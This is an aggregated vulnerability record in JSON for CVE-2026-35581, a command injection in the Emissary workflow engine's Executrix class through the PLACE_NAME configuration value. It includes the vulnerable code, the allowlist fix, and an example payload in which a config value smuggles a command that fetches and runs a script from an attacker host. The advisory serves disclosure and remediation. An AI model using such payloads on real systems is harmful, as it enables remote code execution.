{"id":"CVE-2026-35581","aliases":["EUVD-2026-19730","GHSA-6c37-7w4p-jg9v"],"status":"published","title":"Emissary has a Command Injection via PLACE_NAME Configuration in Executrix","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.","severity":{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00585,"percentile":0.48243,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-04-07T15:56:55Z","modified":"2026-11-04T22:15:03Z","fixes":[{"ecosystem":"Maven","package":"gov.nsa.emissary:emissary","fixed_in":["8.39.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"gov.nsa.emissary:emissary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.39.0"}]}]},{"source":"osv","ecosystem":"Maven","package":"gov.nsa.emissary:emissary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.39.0"}]}],"versions":["8.0.0","8.1.0","8.10.0","8.11.0","8.11.1","8.12.0","8.13.0","8.14.0","8.15.0","8.16.0","8.17.0","8.18.0","8.19.0","8.19.1","8.2.0","8.20.0","8.21.0","8.22.0","8.23.0","8.24.0","8.25.0","8.26.0","8.27.0","8.28.0","8.29.0","8.3.0","8.30.0","8.31.0","8.32.0","8.33.0","8.34.0","8.35.0","8.36.0","8.37.0","8.38.0","8.4.0","8.5.0","8.6.0","8.7.0","8.7.1","8.8.0","8.9.0"]}],"products":[{"vendor":"nationalsecurityagency","product":"emissary"},{"vendor":"nsa","product":"emissary"}],"references":[{"url":"https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35581","tags":["advisory"]},{"url":"https://github.com/NationalSecurityAgency/emissary/pull/1290","tags":["web"]},{"url":"https://github.com/NationalSecurityAgency/emissary/releases/tag/8.39.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6c37-7w4p-jg9v"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35581.json","tags":["advisory"]},{"url":"https://github.com/NationalSecurityAgency/emissary","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-35581","title":"Emissary has a Command Injection via PLACE_NAME Configuration in Executrix","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.","status":"published","published":"2026-04-07T15:56:55.838Z","modified":"2026-04-08T14:57:47.316Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:20:05.15083Z"}],"euvd":[{"id":"EUVD-2026-19730","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.","status":"published","published":"2026-04-07T15:56:55Z","modified":"2026-04-08T14:57:47Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:12.037386Z"}],"ghsa":[{"id":"GHSA-6c37-7w4p-jg9v","title":"Emissary has a Command Injection via PLACE_NAME Configuration in Executrix","description":"## Summary\n\nThe `Executrix` utility class constructed shell commands by concatenating\nconfiguration-derived values — including the `PLACE_NAME` parameter — with\ninsufficient sanitization. Only spaces were replaced with underscores, allowing\nshell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through\ninto `/bin/sh -c` command execution.\n\n## Details\n\n### Vulnerable code — `Executrix.java`\n\n**Insufficient sanitization (line 132):**\n```java\nthis.placeName = this.placeName.replace(' ', '_');\n// ONLY replaces spaces — shell metacharacters pass through\n```\n\n**Shell sink (line 1052–1058):**\n```java\nprotected String[] getTimedCommand(final String c) {\n    return new String[] {\"/bin/sh\", \"-c\", \"ulimit -c 0; cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\n### Data flow\n\n1. `PLACE_NAME` is read from a configuration file\n2. `Executrix` applies only a space-to-underscore replacement\n3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)\n4. `tmpNames[DIR]` is concatenated into a shell command string\n5. The command is executed via `/bin/sh -c`\n\n### Example payload\n\n```\nPLACE_NAME = \"test;curl attacker.com/shell.sh|bash;x\"\n```\n\nAfter the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`\n(semicolons, pipes, and other metacharacters preserved)\n\n### Impact\n\n- Arbitrary command execution on the Emissary host\n- Requires the ability to control configuration values (e.g., administrative\n  access or a compromised configuration source)\n\n## Remediation\n\nFixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),\nmerged into release 8.39.0.\n\nThe space-only replacement was replaced with an allowlist regex that strips all\ncharacters not matching `[a-zA-Z0-9_-]`:\n\n```java\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\nThis ensures that any shell metacharacter in the `PLACE_NAME` configuration\nvalue is replaced with an underscore before it can reach a command string.\n\nTests were added to verify that parentheses, slashes, dots, hash, dollar signs,\nbackslashes, quotes, semicolons, carets, and at-signs are all sanitized.\n\n## Workarounds\n\nIf upgrading is not immediately possible, ensure that `PLACE_NAME` values in all\nconfiguration files contain only alphanumeric characters, underscores, and hyphens.\n\n## References\n\n- [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)\n- Original report: GHSA-wjqm-p579-x3ww","status":"published","published":"2026-04-08T00:12:50Z","modified":"2026-11-04T22:10:23Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-04T22:39:22.804745Z"}],"nvd":[{"id":"CVE-2026-35581","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.","status":"published","published":"2026-04-07T17:16:33.493Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:13.535987Z"}],"osv":[{"id":"CVE-2026-35581","title":"Emissary has a Command Injection via PLACE_NAME Configuration in Executrix","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.","status":"published","published":"2026-04-07T15:56:55.838Z","modified":"2026-10-28T02:30:45.367777629Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:02.673625Z"},{"id":"GHSA-6c37-7w4p-jg9v","title":"Emissary has a Command Injection via PLACE_NAME Configuration in Executrix","description":"## Summary\n\nThe `Executrix` utility class constructed shell commands by concatenating\nconfiguration-derived values — including the `PLACE_NAME` parameter — with\ninsufficient sanitization. Only spaces were replaced with underscores, allowing\nshell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through\ninto `/bin/sh -c` command execution.\n\n## Details\n\n### Vulnerable code — `Executrix.java`\n\n**Insufficient sanitization (line 132):**\n```java\nthis.placeName = this.placeName.replace(' ', '_');\n// ONLY replaces spaces — shell metacharacters pass through\n```\n\n**Shell sink (line 1052–1058):**\n```java\nprotected String[] getTimedCommand(final String c) {\n    return new String[] {\"/bin/sh\", \"-c\", \"ulimit -c 0; cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\n### Data flow\n\n1. `PLACE_NAME` is read from a configuration file\n2. `Executrix` applies only a space-to-underscore replacement\n3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)\n4. `tmpNames[DIR]` is concatenated into a shell command string\n5. The command is executed via `/bin/sh -c`\n\n### Example payload\n\n```\nPLACE_NAME = \"test;curl attacker.com/shell.sh|bash;x\"\n```\n\nAfter the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`\n(semicolons, pipes, and other metacharacters preserved)\n\n### Impact\n\n- Arbitrary command execution on the Emissary host\n- Requires the ability to control configuration values (e.g., administrative\n  access or a compromised configuration source)\n\n## Remediation\n\nFixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),\nmerged into release 8.39.0.\n\nThe space-only replacement was replaced with an allowlist regex that strips all\ncharacters not matching `[a-zA-Z0-9_-]`:\n\n```java\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\nThis ensures that any shell metacharacter in the `PLACE_NAME` configuration\nvalue is replaced with an underscore before it can reach a command string.\n\nTests were added to verify that parentheses, slashes, dots, hash, dollar signs,\nbackslashes, quotes, semicolons, carets, and at-signs are all sanitized.\n\n## Workarounds\n\nIf upgrading is not immediately possible, ensure that `PLACE_NAME` values in all\nconfiguration files contain only alphanumeric characters, underscores, and hyphens.\n\n## References\n\n- [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)\n- Original report: GHSA-wjqm-p579-x3ww","status":"published","published":"2026-04-08T00:12:50Z","modified":"2026-11-04T22:15:03.6926272Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-04T22:39:47.290839Z"}]}}